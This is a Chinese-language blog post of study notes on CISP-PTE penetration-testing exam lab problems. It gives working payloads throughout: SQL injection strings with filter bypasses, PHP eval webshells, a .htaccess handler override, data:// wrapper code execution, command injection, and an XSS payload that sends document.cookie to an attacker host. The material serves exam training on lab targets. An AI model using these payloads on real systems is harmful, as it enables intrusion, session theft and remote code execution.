0%

cisp-pte基础题笔记

记录cisp-pte的基础题学习和刷题的笔记

第一部分

参考# CISP-PTE八套真题详解(侵删)的学习笔记

第一套题目

sql注入:
order by没有用,直接进入union select阶段,找到有回显的字段2和3。后面就是常规的union注入

文件上传:
关键词被过滤 上传preg_replace.php 不使用eval的免杀马
一句话木马
php函数一句话木马

文件包含:
尝试data://text/plain, 发现phpinfo还在但是data://被替换成空了,所以用双写绕过。 然后上传一句话木马用antsword连接

反序列化:
非常简单的反序列化,只要有一个php环境输出序列化的结果就好,可以在上一题的文件中写入,然后访问得到字符串

越权:
先用XFF头修改为本地IP 然后再Cookie中修改Username为admin的base64并且把isAdmin修改成true

第二套题目

sql注入:
用’)闭合前面的内容 最后用注释后面的内容 过滤空格用注释绕过 union被过滤用双写绕过 使用load_file()函数直接读取文件里面的内容

文件上传:
就考察后缀名的替换 改成pht等就可以绕过

文件包含:
可以用data伪协议写webshell然后用蚁剑连接 或者用php filter读源码

命令执行:
cat命令被过滤 用其他的方式读文件

日志分析:
先筛选200 再搜索中的书签 选择删除未标记行 可以看到admin登录的路径 爆破admin的密码 ,登录之后拿到key

第三套题目

sql注入:
这题考察的是二阶注入,有注册用户和重置密码的功能。 重置密码的语句是update user set password = '' where username= '' 所以只要注册一个admin'# 用户,这样在修改这个用户的密码的时候就修改了admin的密码 然后可以登入admin

文件上传:
上传免杀马 绕过内容过滤

文件包含:
查看view.html 审计代码 发现要传入一个Hello参数 还要一个z0 输入想要执行的代码的base64

代码审计:
传入cmd参数 执行命令 然后重定向到一个文件中查看输出结果

代码执行:
管道符被过滤 使用 && 过滤了php 使用*模糊匹配

第四套题目

sql注入:
和第三套的题目差不多 区别是这里admin’#被注册了 需要在注册admin’#123 后面加上字符的

文件上传:
免杀马 用preg_replace的就可以

文件包含:
和上一套一样

日志分析:
用正则表达式筛选出状态码是200的记录 然后匹配出index upload 等四个路径,需要用正则去掉这四个路径
有的index前面有两个/ 所以正则中也要去掉这种情况 最终找到一个backdoor文件
^.*"[A-Z]+ /(?!/?(index|manage|footer|upload)).*\.php.*" 200
/?表示可能有/ 可能没有/

代码审计:
要构造一个json数据 第一个要求bar1不能是数字 但是要大于2020 所以用数字加字母,在php比较的时候会自动转换成数字比较 bar2要求元素是5个,第一个元素是数组 bar3要求是数组,并且有”cisp-pte”

第五套题目

sql注入:我是差不多先生
注册登录之后 发现可以发表文章,在title和content处测试 发现都有注入点
在使用#注释之后还是发布失败,猜测还有user字段,sql语句可能是
insert into aritcles(title,content,user) values('tit','con','test')
输入的参数数量必须和列数一样才可以在content后面一个参数就是用户名
title=test&content=test','test')#
然后在content处使用注入得到数据库名title=123',(database()),'test')#&content=test
尝试得到表名的时候发现失败,可能存在过滤 用一些大小写过滤然后用 /**/ 绕过空格
最后得到password列的值
扩展: 如果没有注释符的时候 insert 可以同时插入多条语句,我们利用这个特性,可以将后面的语句进行闭合,成为另一个语句,先尝试使用 (’ 进行闭合
title=123','123','test'),('&content=test测试失败,原因是在title前面还有一个参数
title=title1','content1','test'),('x','title2&content=content2 这样就相当于发布两篇文章

文件上传 文件包含 命令执行 都和之前一样

验证码爆破:
直接删除cookie 然后把验证码code字段置空

第六套题目

sql注入:
考察万能密码
用户名处 admin '=' 密码处 1' Or '1'='1

sql注入:
用–+ 注释 根据sql语句用’)闭合 用order by 尝试 发现有7个字段
用union联合查询的时候 发现被过滤 用双写绕过
最后用load_file读取key

xss:
考察用xss获取admin的cookie然后登录admin
payload:
<sript>document.write('<img src="http://192.168.xx.xx?xxxx?' + document.cookie + '" />'); </script>
然后在攻击端口开http服务 就可以在url中看到cookie

用cookie登录后可以看到key

文件包含:
就是考察文件包含
?data://text/plain,<?php @eval($_POST['x']); ?> 然后用蚁剑连接之后找到flag

代码审计

用闭合+命令的方式
payload: ?a=");system("ls

第二部分

在培训提供平台上的题目练习

sql注入

第一题:
考察万能密码,or被过滤用Or大小写绕过

password: 1' Or '1' = '1
第二题:
这里两个注释都被过滤了

1
2
3
4
5
6
7
8
9
10
11
//simple check

while(strstr($uuid,'--'))
{
$uuid = str_replace('--','',$uuid);
}

while(strstr($uuid,'#'))
{
$uuid = str_replace('#','',$uuid);
}

可以用两个注释的组合的方式来绕过-%23-+
?uuid=1' Order by 6 -%23-+ 通过order by 测试出来一共有6列
?uuid=1' union select 1,2,3,4,5,6 -%23-+ 2和3是回显点
?uuid=1' union select 1,database(),3,4,5,6 -%23-+ 得到数据库wasjcms
?uuid=1' union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database() -%23-+ 得到table表的名字是flag
?uuid=1' union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name='flag' -%23-+ 有id 和flag两个字段
?uuid=1' union select 1,group_concat(flag),3,4,5,6 from wasjcms.flag -%23-+ 拿到字段名之后 得到flag值
第三题: 启动环境,访问下面链接,在Web根目录中找到key.flag

首页是一个登录页面 用万能密码就可以登录
登录进来之后可以看到患者的治疗记录 随便选一个进入编辑 发现这里是和url相关的
猜测注入点在url 所以在url这里加上’ 和注释 发现确实存在sql注入

通过order by 测试出一共有8个字段 用union select找不到回显的位置
看了课程解析才知道自己找的注入位置错了
在患者页面编辑里面
用order by 测试出15个字段
/?m=patient&o=edit&pid=0' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+ 回显点有4 5 11 13
&pid=0' union select 1,2,3,4,5,6,7,8,9,10,11,12,load_file('/var/www/html/key.flag'),14,15 --+ 根据题目要在网站目录拿到flag
第四题:
首页是一个文章管理系统,也是在url存在注入点

这里是数值型注入 不用单引号闭合
/show.php?id=33 order by 16 --+ 测试出有15列
?id=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+ id=0不显示文章,找到回显点在3和11
?id=0 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15 --+ cms
?id=0 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() --+ 直接这样提示Illegal mix of collations for operation ‘UNION’
要用 group_concat(convert(table_name using gbk))
?id=0 union select 1,2,group_concat(convert(column_name using gbk)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name= 'cms_flag' --+ flag
?id=0 union select 1,2,group_concat(convert(flag using gbk)),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_flag --+
第五题: 通过SQL注入漏洞读取 /tmp/key.flag 文件,答案就在文件中。
题目给出了sql执行的语句当前执行的SQL:SELECT * FROM articles WHERE id=('1')
这里先用’)闭合前面的语句然后中间插入想要执行的语句 最后注释后面的未闭合部分
但是这里尝试发现直接输入#会被过滤 可以用%23或者绕过
空格也被过滤 用/**/或%0b绕过 然后用order by测试出有四列
后面进行union测试的时候发现被过滤 用双写绕过 以及id要改成0
?id=0')/**/Ununionion/**/select/**/1,2,3,4%23
?id=0')/**/Ununionion/**/select/**/1,2,load_file('/tmp/key.flag'),4%23
第六题: 考察二阶记录

在查看文章处不存在sql注入,注入点在发表文章,这里有标题和内容,都是注入点,用bp发送请求包,用post提交两个数据
直接用1’# 发现语法错误,猜测有括号 内容写1’)#

出现列数不匹配的报错
输入2’)

这里报错信息给出了内容这里的字段数 一个是内容,第二个是作者(admin)第三个default_value 最后一个是NOW()
后端语句应该是insert into (标题,内容,作者,default_value,时间) value ('2','3','4','5')
2','3','4',NOW())#

这样子可以成功发表,所以可用3和4字段来注入,因为2前面自带了一个单引号
2',(database()),'4',NOW())# php_test
2',(select group_concat(table_name) from information_schema.tables where table_schema='php_test'),'4',NOW())# users,articles
2',(select group_concat(column_name) from information_schema.columns where table_name='users'),'4',NOW())# password
2',(select group_concat(password) from php_test.users),'4',NOW())# flag_nisp_fb8b3e
这题考察的内容和上面的第五套题目一样 主要考察通过报错的信息推断后端的sql语句,满足所需要的字段值,最后注入得到想要的值
第七题: 登录admin 拿到flag

考察二阶注入,原理就是利用注册 后端的语句可能是insert into (表名) values username, password 而登录时候的语句是select xxx fron 表名 where password='' and username='' 如果创建一个用户名是admin'#的用户,如果可以修改密码,UPDATE USERNAME,PASSWORD WHERE PASSWORD='' AND USERNAME='' 修改admin’#的密码就会修改admin用户的密码
这题直接注册admin’# 报错 可能因为直接用#有过滤 后面再加上–
注册admin’#– 账户 修改密码

文件上传

第一题: 请将免杀码wen.php上传,并获取在根目录的flag,连接密码为“wen”
先尝试直接上传免杀码 发现失败
然后用bp的爆破模块 加上几个其他的php后缀, 发现就是对php黑名单,用大小写或者php3 phtml等都可以绕过,但是直接上传免杀码修改后缀还是不行,猜测有mime校验,所以上传图片马

方式是先上传一张图片,然后在图片后面加上免杀马的代码 然后修改后缀 改成1.Php 然后用蚁剑连接
第二题:
还是先测试一下后缀的问题 发现只能上传jpg png gif 格式的后缀

这题考察的是00截断 ,还是先上传一个图片马 上传的路径写成我们想要的

然后在hex界面用00截断 上传之后查看图片可以看到urlhttp://211.103.180.146:18531/1.php%EF%BF%BD/8720250901144746.jpg 这里在php后面的内容会被截断,所以在蚁剑中写入1.php的url就可以连接
第三题:
还是尝试不同后缀 只过滤了php 用其他的后缀就可以绕过
但是还有一个问题 上传之后不知道上传到了哪里

扫描一下目录,发现有上传的文件夹路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌──(root㉿kali)-[~/tmp]
└─# dirsearch -u http://211.103.180.146:15456
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict

_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/tmp/reports/http_211.103.180.146_15456/_25-09-01_22-50-36.txt

Target: http://211.103.180.146:15456/

[22:50:36] Starting:
[22:50:38] 301 - 324B - /js -> http://211.103.180.146:15456/js/
[22:50:41] 403 - 304B - /.ht_wsr.txt
[22:50:41] 403 - 307B - /.htaccess.bak1
[22:50:41] 403 - 307B - /.htaccess.orig
[22:50:41] 403 - 309B - /.htaccess.sample
[22:50:41] 403 - 308B - /.htaccess_extra
[22:50:41] 403 - 307B - /.htaccess.save
[22:50:41] 403 - 307B - /.htaccess_orig
[22:50:41] 403 - 305B - /.htaccessOLD
[22:50:41] 403 - 305B - /.htaccess_sc
[22:50:41] 403 - 306B - /.htaccessOLD2
[22:50:41] 403 - 305B - /.htaccessBAK
[22:50:41] 403 - 297B - /.htm
[22:50:41] 403 - 298B - /.html
[22:50:41] 403 - 303B - /.htpasswds
[22:50:41] 403 - 307B - /.htpasswd_test
[22:50:41] 403 - 304B - /.httr-oauth
[22:51:05] 301 - 325B - /css -> http://211.103.180.146:15456/css/
[22:51:10] 301 - 327B - /fonts -> http://211.103.180.146:15456/fonts/
[22:51:15] 200 - 466B - /js/
[22:51:31] 403 - 306B - /server-status
[22:51:31] 403 - 307B - /server-status/
[22:51:39] 301 - 328B - /upload -> http://211.103.180.146:15456/upload/
[22:51:39] 200 - 508B - /upload/

找到上传之后的位置 蚁剑连接
第四题:

提示php文件不能直接上传
还是先尝试一下其他几个后缀,发现phtml可以 估计就是过滤了php这三个字母

上传图片马提示 文件内容不支持, 用phpinfo()还是不行 估计是过滤了php标签,所以用script形式的马
<script language="php"> @eval($_POST['cmd']); </script>
然后还是在upload目录下面找到文件 用蚁剑连接
第五题:
还是只过滤了php 用其他后缀都可以成功上传,这里用php3 就可以成功连接上蚁剑
在网站目录下找到flag
第六题: 小明做了一个文件上传的页面,他将危险文件做了个黑名单,以此来杜绝危险文件的上传,但是他忘记了很严重的问题。想办法上传文件,拿到flag。
源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //收尾去空


if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
$img_path = UPLOAD_PATH . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这里的问题是没有过滤htaccess
上传一个.htaccess文件,让上传的jpg文件以php格式解析

1
2
3
<FilesMatch ".jpg$">
SetHandler application/x-httpd-php
</FilesMatch>

上传了这个htaccess文件之后就给出了flag
第七题:用所学知识拿到根目录下的flag 学会好好利用http://ip:port/include.php界面
看这个题目的意思 估计是要用文件包含了
先上传一个图片马 然后查看图片 得到图片路径 upload/2020250901153953.jpg
然后利用include.php 用file参数传入图片路径 最后用蚁剑连接
第八题: 和第七题一模一样
第九题:
Apache ActiveMQ 任意文件写入漏洞(CVE-2016-3088)复现利用
考察这个漏洞,根据这篇文章进行复现

文件包含

第一题:
请在系统根目录下找到flag.txt文件并获取flag值
部分源码:

1
2
3
4
if (isset($_GET['page'])) {
    $page $_GET['page'];
    include($page);
}

用file协议读取flag file:///flag.txt
第二题:
通过url/vul/fu1.php?file=view.html 知道当前页面显示的实际上是view.html的内容,由于是一个php文件包含的,所以view.html也是以php文件来执行的 直接去访问一下原来的页面 然后查看页面源代码

1
2
3
4
5
6
7
8
<!--
<?php
@$a = $_POST['Hello'];
if(isset($a)){
@preg_replace("/\[(.*)\]/e",'\\1',base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10='));
}
?>
-->

这里的正则表达式意思是匹配第一个中括号里面的内容,/e表示执行其中的代码
base64其中的内容解码后是[@eval(base64_decode($_POST[z0]));] 这里z0参数会进行一次base64解码,所以要把执行的用base64编码一下 system(‘cat /flag.php’);
Hello='123'&z0=c3lzdGVtKCdjYXQgL2ZsYWcucGhwJyk7 post发送这个数据 然后查看源代码得到flag

第三题:

这里包含的是nisp 但是显示的是nisp.txt 所以会自动加上txt后缀
这里用data伪协议直接在url写入php插入代码,直接执行之后后缀就无所谓了
data://被过滤需要用双写绕过
?page=dadata://ta://text/plain,<?php system('cat /flag.php');?>
第四题:
?file=php://filter/read=convert.base64-encode/resource=../key.flag php伪协议用base64转换一下读取flag
第五题:
用data伪协议执行代码
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcud2FzaicpOyA/Pg== 先用system(‘ls’/); 找到flag文件名 然后读取

代码审计

第一题:

1
2
3
4
5
6
7
<?php
error_reporting(0);    
$a $_GET['a'];
eval("\$ret = strtolower(\"$a\");");
echo $ret;
show_source(__FILE__);
?>

这里只要用一个闭合就可以执行想要的命令了
?a=");system("ls ./
?a=");system("cat ./flag.cisp123
第二题:

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
show_source(__FILE__);
if(strlen($_GET[1]<30)){
echo strlen($_GET[1]);
echo exec($_GET[1]);
}else{
exit('too more');
}
?>

这里就是要求命令不能超过30个字符
/?1=find / -name "flag*" 2>/dev/null 找到flag所在文件
?1=cat /var/www/html/flag.nisp
第三题

1
2
3
4
5
6
7
8
9
<?php   
error_reporting(0);
include "flag.php";
$TEMP "CISP";
$str $_GET['str'];
if (unserialize($str) === $TEMP) {     
echo "$flag";
}
show_source(__FILE__);

考察序列化
在本地环境中运行

1
2
3
4
<?php
$a = "CISP";
echo serialize($a);
?>

将输出的结果用get方式用str参数传入
第四题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 <?php
$v1 = 0;
$v2 = 0;
$a = (array)json_decode(@$_GET['w']);
if (is_array($a)) {
is_numeric(@$a["bar1"]) ? die("nope") : NULL;
if (@$a["bar1"]) {
($a["bar1"] > 2020) ? $v1 = 1 : NULL;
}
if (is_array(@$a["bar2"])) {
if (count($a["bar2"]) != 5 or !is_array($a["bar2"][0])) {
die("nope");
}
$pos = array_search("cisp-pte", $a["bar3"]);
$pos === false ? die("nope") : NULL;
foreach ($a["bar2"] as $key => $val) {
$val == "cisp-pte" ? die("nope") : NULL;
}
$v2 = 1;
}
}
if ($v1 && $v2) {
include "key.php";
echo $key;
}
highlight_file(__file__);
?>

按照题目的要求一步步分析
首先要传入一个参数w w是一个json格式的参数并且w是一个数组
数组的bar1元素不能是数字 但是要大于2020 这里利用php的弱比较 用数字加字母 比较时候会自动转为数字
数组的bar2元素是一个数组,要有五个元素,并且这个bar2数组的第一个元素也是数组
bar3元素也是数组,数组中要有”cisp-pte”元素
bar2元素不能有”cisp-pte”
?w={"bar1":"2024a","bar2":[["a"],["b"],["c"],["d"],["e"]],"bar3":["test","cisp-pte",123]}